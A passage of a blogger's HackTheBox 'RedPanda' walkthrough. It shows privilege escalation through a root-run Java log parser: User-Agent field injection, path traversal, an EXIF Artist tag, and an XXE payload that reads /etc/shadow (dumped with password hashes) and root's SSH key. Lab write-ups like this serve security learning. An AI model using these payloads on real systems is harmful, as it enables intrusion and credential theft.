Can I tamper with this? Well actually, we control ‘User-Agent’ header, and it is not escaped before writing it to the file. So we may be able to inject commands here, similar to what we preformed earlier. If this is running as root, we may be able to read files as root. Maybe there’s an easy way in after that?
To test the theory, let’s mess around with Curl:
curl $TARGET:8000 -H "User-Agent: xyz"
Result:
│200||10.10.16.2||xyz||/
Okay…
+------------+-----------+
| USER-AGENT | LOG LINE |
+------------+-----------+
| | |
| #{7*7} | #{7*7} |
| | |
| aa\\ | aa\ |
| | |
| aa\\\\ | aa\\ |
| | |
| aa' | aa' |
| | |
| aa\" | aa" |
+------------+-----------+
Not really hitting anything here, this may be useful later though. I’d love to find a cronjob that’s deleting this file all the time or something… but I can’t find anything. I have no idea what’s cleaning up this file.
Moving on, what other parts of the application can we try to poke at? There are still two java files I haven’t looked at, App and AppTest in the Credit Score thing. Perhaps that’s supposed to be tracking how many views each image gets? It didn’t actually update for me while I was exploring though so maybe it’s just some built-in thing?
cat /opt/credit-score/LogParser/final/src/test/java/com/logparser/AppTest.java
package com.logparser;
import static org.junit.Assert.assertTrue;
import org.junit.Test;
/**
* Unit test for simple App.
*/
public class AppTest
{
/**
* Rigorous Test :-)
*/
@Test
public void shouldAnswerWithTrue()
{
assertTrue( true );
}
}
cat /opt/credit-score/LogParser/final/src/main/java/com/logparser/App.java
package com.logparser;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import java.util.Scanner;
import com.drew.imaging.jpeg.JpegMetadataReader;
import com.drew.imaging.jpeg.JpegProcessingException;
import com.drew.metadata.Directory;
import com.drew.metadata.Metadata;
import com.drew.metadata.Tag;
import org.jdom2.JDOMException;
import org.jdom2.input.SAXBuilder;
import org.jdom2.output.Format;
import org.jdom2.output.XMLOutputter;
import org.jdom2.*;
public class App {
public static Map parseLog(String line) {
String[] strings = line.split("\\|\\|");
Map map = new HashMap<>();
map.put("status_code", Integer.parseInt(strings[0]));
map.put("ip", strings[1]);
map.put("user_agent", strings[2]);
map.put("uri", strings[3]);
return map;
}
public static boolean isImage(String filename){
if(filename.contains(".jpg"))
{
return true;
}
return false;
}
public static String getArtist(String uri) throws IOException, JpegProcessingException
{
String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
File jpgFile = new File(fullpath);
Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);
for(Directory dir : metadata.getDirectories())
{
for(Tag tag : dir.getTags())
{
if(tag.getTagName() == "Artist")
{
return tag.getDescription();
}
}
}
return "N/A";
}
public static void addViewTo(String path, String uri) throws JDOMException, IOException
{
SAXBuilder saxBuilder = new SAXBuilder();
XMLOutputter xmlOutput = new XMLOutputter();
xmlOutput.setFormat(Format.getPrettyFormat());
File fd = new File(path);
Document doc = saxBuilder.build(fd);
Element rootElement = doc.getRootElement();
for(Element el: rootElement.getChildren())
{
if(el.getName() == "image")
{
if(el.getChild("uri").getText().equals(uri))
{
Integer totalviews = Integer.parseInt(rootElement.getChild("totalviews").getText()) + 1;
System.out.println("Total views:" + Integer.toString(totalviews));
rootElement.getChild("totalviews").setText(Integer.toString(totalviews));
Integer views = Integer.parseInt(el.getChild("views").getText());
el.getChild("views").setText(Integer.toString(views + 1));
}
}
}
BufferedWriter writer = new BufferedWriter(new FileWriter(fd));
xmlOutput.output(doc, writer);
}
public static void main(String[] args) throws JDOMException, IOException, JpegProcessingException {
File log_fd = new File("/opt/panda_search/redpanda.log");
Scanner log_reader = new Scanner(log_fd);
while(log_reader.hasNextLine())
{
String line = log_reader.nextLine();
if(!isImage(line))
{
continue;
}
Map parsed_data = parseLog(line);
System.out.println(parsed_data.get("uri"));
String artist = getArtist(parsed_data.get("uri").toString());
System.out.println("Artist: " + artist);
String xmlPath = "/credits/" + artist + "_creds.xml";
addViewTo(xmlPath, parsed_data.get("uri").toString());
}
}
}
panda_search
so we may be on the right track.panda_search.jar
, what is even executing this thing?who
is running it by the ownership of the log file right? And.. it’s owned by Root!parseLog
parseLog:
public static Map parseLog(String line) {
String[] strings = line.split("\\|\\|");
Map map = new HashMap<>();
map.put("status_code", Integer.parseInt(strings[0]));
map.put("ip", strings[1]);
map.put("user_agent", strings[2]);
map.put("uri", strings[3]);
return map;
}
There’s not much to see here, it would be pretty badass to exploit a hashmap alone.
Moving on, where does this Map go? Well, the endpoint is addViewTo
which writes a file:
public static void addViewTo(String path, String uri) throws JDOMException, IOException
{
...
BufferedWriter writer = new BufferedWriter(new FileWriter(fd));
xmlOutput.output(doc, writer);
}
Who are these files owned by?
$ ls -al /credits
total 16
drw-r-x--- 2 root logs 4096 Jun 21 12:32 .
drwxr-xr-x 20 root root 4096 Jun 23 14:52 ..
-rw-r----- 1 root logs 422 Jun 21 12:31 damian_creds.xml
-rw-r----- 1 root logs 426 Nov 18 20:52 woodenk_creds.xml
Okay good, can we trick this into reading/writing from somewhere else? How does the function calculate doc
:
public static void addViewTo(String path, String uri) throws JDOMException, IOException
{
File fd = new File(path);
Document doc = saxBuilder.build(fd);
xmlOutput.output(doc, writer);
}
And what is path
passed in as?
public static void main(String[] args) throws JDOMException, IOException, JpegProcessingException {
File log_fd = new File("/opt/panda_search/redpanda.log");
Scanner log_reader = new Scanner(log_fd);
while(log_reader.hasNextLine())
{
String line = log_reader.nextLine();
if(!isImage(line))
{
continue;
}
Map parsed_data = parseLog(line);
String artist = getArtist(parsed_data.get("uri").toString());
System.out.println("Artist: " + artist);
String xmlPath = "/credits/" + artist + "_creds.xml";
addViewTo(xmlPath, parsed_data.get("uri").toString());
}
}
Well, the best we can do here is write a new file somewhere ending in _creds.xml
. That’s not very useful.
Can we instead trick this into reading an arbitrary file on the system? Where does data come from?
- read the log file from static location
- For each line in the file…
- check if the line is an image (just checks that .jpg
appears somewhere in the log)
- parse the log line into a map of key/value pairs
- [] Reads a JPG from a path built from uri
- [] Resolves the Artist
tag from the file into a string
- Prints the result to stdout ( Can we view this? )
- Loads an XML file from /credits/
Artist_creds.xml
- Writes a processed version of the file back to load path (Attempts to update the file)
Okay, THIS IS IT! I think this is the exploit path:
1. Craft a malicious Jpg with an Artist
tag equals to controlled
2. Craft an XML file, written to /credits/controlled_creds.xml
which tricks the parser into reading an arbitrary file from totalviews
?
3. Tamper with URI such that getArtist
reads our malicious jpg and updates our xml file with the file payload
How exactly do we do step 2… Now that we can assume we control the initial XML file let’s have a closer look at addViewTo
.
- Processes the file with SAXBuilder
- Iterates over elements of the file until it finds image
- Asserts that uri
in image is equal to uri
given to function
- parses views
and an int, increments it and writes it back to the file
This seems like a tall order. Maybe the last part of parsing an int doesn’t matter, maybe we can abuse SAXBuilder to execute some code in the XML file?
Time to doc dive… Here’s the docs for SAXBuilder.
Known Issues:
Relative paths for a DocType or EntityRef may be converted by the SAX parser into absolute paths.
SAX does not recognise whitespace character content outside the root element (nor does JDOM) so any formatting outside the root Element will be lost.
Those could be useful hints. The constructor used here creates a non validating
parser, that will probably help us. Other than that, not much.
What about the Output path? Here’s the docs for XMLOutputter.
format.getPrettyFormat()
:
Returns a new Format object that performs whitespace beautification with 2-space indents, uses the UTF-8 encoding, doesn't expand empty elements, includes the declaration and encoding, and uses the default entity escape strategy. Tweaks can be made to the returned Format instance without affecting other instances.
Other than that, nothing really spicey. I should go look at general XML Injection vulnerabilities to get some ideas.
Aahh we may be able to read an arbitrary file by adding a <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
to our document!
Let’s try that… Starting from the Log Line:
200 || 10.10.16.2 || Doesn't Matter || **URI**
So we simply set the URL of the request to contain the path to the image we write to /opt/panda_search/src/main/resources/static
, let’s say salmonsec.jpg
We need to write the value of Artist
in the Image to be some fixed string, let’s use salmonsec
.
/opt/panda_search/src/main/resources/static/img/salmonsec.jpg
/credits/salmonsec_creds.xml
, copy an existing example but also add <!ENTITY xxe SYSTEM "file:///etc/shadow" >]>
curl $TARGET:8080/salmonsec.jpg
/etc/shadow
Alright how do we control the Artist tag of an image? Apparently with ExifTool
. I took a random image from google and set the Artist file:
wget <imageURL>
$ exiftool -artist=salmonsec salmonsec.jpg
1 image files updated
And here’s my XML File:
<?xml version="1.0" encoding="UTF-8"?>
<credits>
<author>salmonsec</author>
<image>
<uri>/img/salmonsec.jpg</uri>
<views>1</views>
</image>
<totalviews>3</totalviews>
<!ENTITY xxe SYSTEM "file:///etc/shadow" >]>
</credits>
Now let’s give it a shot!
cd /opt/panda_search/src/main/resources/static/img/ && touch 'salmonsec'
touch: cannot touch 'salmonsec.jpg': Permission denied
Uh oh… uuhh. Wait so the path is String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
. Perhaps I can just do write it into /tmp and set uri as ../../
etc.
Can I write to the XML location?! Nope. Okay well…
Maybe I can set Author as an existing author, but close the tag myself and inject my payload? Oh boy…
So Author would be?
damian</author><!ENTITY xxe SYSTEM "file:///etc/shadow" >]><author>
And URL should be ../../../../../tmp/shy.jpg
because we need to now match an existing entry in damian
’s stats.
Alright:
# My host
exiftool -artist='damian</author><!ENTITY xxe SYSTEM "file:///etc/shadow" >]><author>' salmonsec.jpg
python -m http.server
# Target via Sliver Session shell
cd /tmp && wget
curl 10.10.11.170:8080/../../../../../../tmp/shy.jpg
From the redpanda.log
I’m not seeing the ../
’s come through… Ah wait look at this:
String[] strings = line.split("\\|\\|");
map.put("user_agent", strings[2]);
map.put("uri", strings[3]);
I can simply override the URI from user_agent by adding ||
curl -H "User-Agent: salmonsec||../../../../../../tmp/shy.jpg" 10.10.11.170:8080/
# Log Output
200||10.10.16.14||salmonsec||../../../../../../tmp/shy.jpg||/
I waited for the log to clear, and therefore for the credits code to execute but no change to the xml file. Oh wait we can totally make it parse our own XML file, duh. It took a break to realize my mistake. Also, I can’t set the author
My XML:
<?xml version="1.0" encoding="UTF-8"?>
<credits>
<author>salmonsec</author>
<image>
<uri>../../../../../../tmp/salmonsec.jpg</uri>
<views>1</views>
</image>
<totalviews>3</totalviews>
<!ENTITY xxe SYSTEM "file:///etc/shadow" >]>
</credits>
Image Update:
exiftool -artist='../tmp/salmonsec' salmonsec.jpg
And…
cd /tmp
wget 10.10.16.14:8000/salmonsec.jpg
wget 10.10.16.14:8000/salmonsec_creds.xml
curl -H "User-Agent: salmonsec || ../../../../../../tmp/salmonsec.jpg" 10.10.11.170:8080/
# Log
200||10.10.11.170||salmonsec || ../../../../../../tmp/salmonsec.jpg||/
And nothing. Am I using the tag correctly? NOPE
Try again:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/shadow" >]>
<credits>
<author>salmonsec</author>
<image>
<uri>../../../../../../tmp/salmonsec.jpg</uri>
<views>1</views>
</image>
<totalviews>3</totalviews>
</credits>
Wait for logs to clear… It still didn’t work! Grr. I re-checked my paths, Artist header and tried again. The only thing that didn’t seem to match was some whitespace, so I removed that… no dice.
Oh, I think I’m using the fking XML syntax wrong again. I need a damn field to replace!
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE credits [ <!ENTITY xxe SYSTEM "file:///etc/shadow" >]>
<credits>
<author>salmonsec</author>
<image>
<pwn>&xxe;</pwn>
<uri>../../../../../../tmp/salmonsec.jpg</uri>
<views>1</views>
</image>
<totalviews>3</totalviews>
</credits>
I mucked about with this until it worked, I’m honestly not sure which change did it…
<!DOCTYPE foo [<!ENTITY file SYSTEM "file:///etc/shadow"> ]>
<credits>
<author>salmonsec</author>
<image>
<data>&file;</data>
<uri>/../../../../../../tmp/salmonsec.jpg</uri>
<views>0</views>
</image>
<totalviews>2</totalviews>
</credits>
Artist:
exiftool -artist='../tmp/salmonsec' salmonsec.jpg
Curl:
curl -H "User-Agent:||/../../../../../../tmp/salmonsec.jpg" 10.10.11.170:8080/
Output:
cat salmonsec_creds.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo>
<credits>
<author>salmonsec</author>
<image>
<data>root:$6$HYdGmG45Ye119KMJ$XKsSsbWxGmfYk38VaKlJkaLomoPUzkL/l4XNJN3PuXYAYebnSz628ii4VLWfEuPShcAEpQRjhl.vi0MrJAC8x0:19157:0:99999:7:::
daemon:*:18375:0:99999:7:::
bin:*:18375:0:99999:7:::
sys:*:18375:0:99999:7:::
sync:*:18375:0:99999:7:::
games:*:18375:0:99999:7:::
man:*:18375:0:99999:7:::
lp:*:18375:0:99999:7:::
mail:*:18375:0:99999:7:::
news:*:18375:0:99999:7:::
uucp:*:18375:0:99999:7:::
proxy:*:18375:0:99999:7:::
www-data:*:18375:0:99999:7:::
backup:*:18375:0:99999:7:::
list:*:18375:0:99999:7:::
irc:*:18375:0:99999:7:::
gnats:*:18375:0:99999:7:::
nobody:*:18375:0:99999:7:::
systemd-network:*:18375:0:99999:7:::
systemd-resolve:*:18375:0:99999:7:::
systemd-timesync:*:18375:0:99999:7:::
messagebus:*:18375:0:99999:7:::
syslog:*:18375:0:99999:7:::
_apt:*:18375:0:99999:7:::
tss:*:18375:0:99999:7:::
uuidd:*:18375:0:99999:7:::
tcpdump:*:18375:0:99999:7:::
landscape:*:18375:0:99999:7:::
pollinate:*:18375:0:99999:7:::
sshd:*:18389:0:99999:7:::
systemd-coredump:!!:18389::::::
lxd:!:18389::::::
usbmux:*:18822:0:99999:7:::
woodenk:$6$48BoRAl2LvBK8Zth$vpJzroFTUyQRA/UQKu64uzNF6L7pceYAe.B14kmSgvKCvjTm6Iu/hSEZTTT8EFbGKNIbT3e2ox3qqK/MJRJIJ1:19157:0:99999:7:::
mysql:!:19157:0:99999:7:::</data>
<uri>/../../../../../../tmp/salmonsec.jpg</uri>
<views>1</views>
</image>
<totalviews>3</totalviews>
</credits>
I dropped the root hash into crackstation… no luck. Well I can potentially brute force this.
Perhaps I can just grab an SSH key though wouldn’t that be nice… I just changed the payload of the XML to grab /root/.ssh/id_rsa
AND GOT IT!
$ cd content && tree
.
|____2022
| |____November
| | |____home_lab_6
| | |____proxmox_route_single_interface_through_vpn
| | |____proxmox_route_single_interface_through_vpn
| | |____proxmox_update_networking
| | |____blue_team_2
| | |____blue_team_1
| | |____hackthebox_redpanda
| | |____tryhackme_neighbour
| | |____post_exploitation_journey_2
| | |____post_exploitation_journey_1
| | |____try_hack_me_vulnnetendgame
| | |____try_hack_me_corridor
| | |____try_hack_me_surfer
| | |____try_hack_me_epoch
| | |____try_hack_me_template
| | |____modern_image_format_conversion
| |____October
| |____September
| |____February
| | |____perfect_opsec_anon_accounts
| | |____perfect_opsec_pgp
| | |____perfect_opsec_anon_payment
| | |____perfect_opsec_disk_encryption
| | |____perfect_opsec_hardware_spoofing
| | |____perfect_opsec_vpn_vps_and_tor
| | |____perfect_opsec_tor_browser
| | |____perfect_opsec_source_network
| | |____perfect_opsec_os_install
| | |____perfect_opsec_mitigate_author_profiling
| | |____perfect_opsec_hardware
| | |____perfect_opsec_clearnet_browser
| | |____perfect_opsec_basic_os_config
|____2021
| |____May
| |____April
| |____February
|____2020
| |____December
| |____January
| |____August
| |____July
| | |____playbook
| | |____kioptrix_level_5
| | |____kioptrix_level_4
| | |____kioptrix_level_3
| | |____kioptrix_level_2
| | |____kioptrix_level_1
| | |____ringzer0team_sysadmin_linux_8
| | |____ringzer0team_sysadmin_linux_7
| | |____ringzer0team_sysadmin_linux_6
| | |____ringzer0team_sysadmin_linux_5
| | |____ringzer0team_sysadmin_linux_4
| | |____ringzer0team_sysadmin_linux_3
| | |____ringzer0team_sysadmin_linux_2
| | |____ringzer0team_sysadmin_linux_1
| | |____planning_phase_0
| | |____blog_creation